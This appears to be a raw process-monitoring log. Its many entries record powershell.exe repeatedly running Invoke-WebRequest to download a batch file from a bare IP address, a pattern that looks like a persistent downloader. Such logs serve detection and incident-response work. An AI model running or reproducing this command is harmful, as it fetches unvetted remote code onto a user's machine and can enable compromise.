C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 10:15:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 10:17:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 10:20:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 10:22:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 10:25:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 10:27:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 10:30:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 10:32:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 10:35:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 10:37:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 10:40:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 10:42:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 10:45:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 10:47:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 10:50:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 10:52:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 10:55:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 10:57:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 11:00:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 11:02:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 11:05:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 11:07:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 11:10:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 11:12:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 11:15:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 11:17:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 11:20:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 11:22:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 11:25:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 11:27:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 11:30:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 11:32:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 11:35:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 11:37:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 11:40:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 11:42:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 11:45:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 11:47:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 11:50:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 11:52:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 11:55:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 11:57:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 12:00:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 12:02:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 12:05:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 12:08:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 12:10:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 12:13:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 12:16:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 12:18:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 12:20:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 12:23:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 12:25:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 12:28:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 12:30:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 12:33:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 12:35:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 12:38:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 12:40:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 12:43:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 12:45:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 12:48:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 12:50:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 12:53:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 12:55:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 12:58:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 13:00:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 13:03:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 13:05:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 13:08:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 13:10:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 13:13:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 13:15:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 13:18:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 13:20:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 13:23:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 13:25:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 13:28:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 13:30:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 13:33:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 13:35:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 13:38:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 13:40:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 13:43:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 13:45:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 13:48:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 13:50:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 13:53:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 13:55:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 13:58:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 14:00:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 14:03:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 14:05:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 14:08:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 14:10:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 14:13:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 14:15:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 14:18:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 14:20:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 14:23:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 14:25:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 14:28:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 14:30:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 14:33:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 14:35:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 14:38:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 14:40:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 14:43:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 14:45:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 14:48:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 14:50:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 14:53:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 14:55:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 14:58:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 15:01:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 15:03:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 15:06:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 15:08:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 15:11:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 15:13:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 15:16:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 15:18:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 15:21:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 15:23:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 15:26:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 15:28:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 15:31:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 15:33:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 15:36:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 15:38:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 15:41:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 15:43:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 15:46:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 15:48:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 15:51:09 NOTIFY: PROCESS 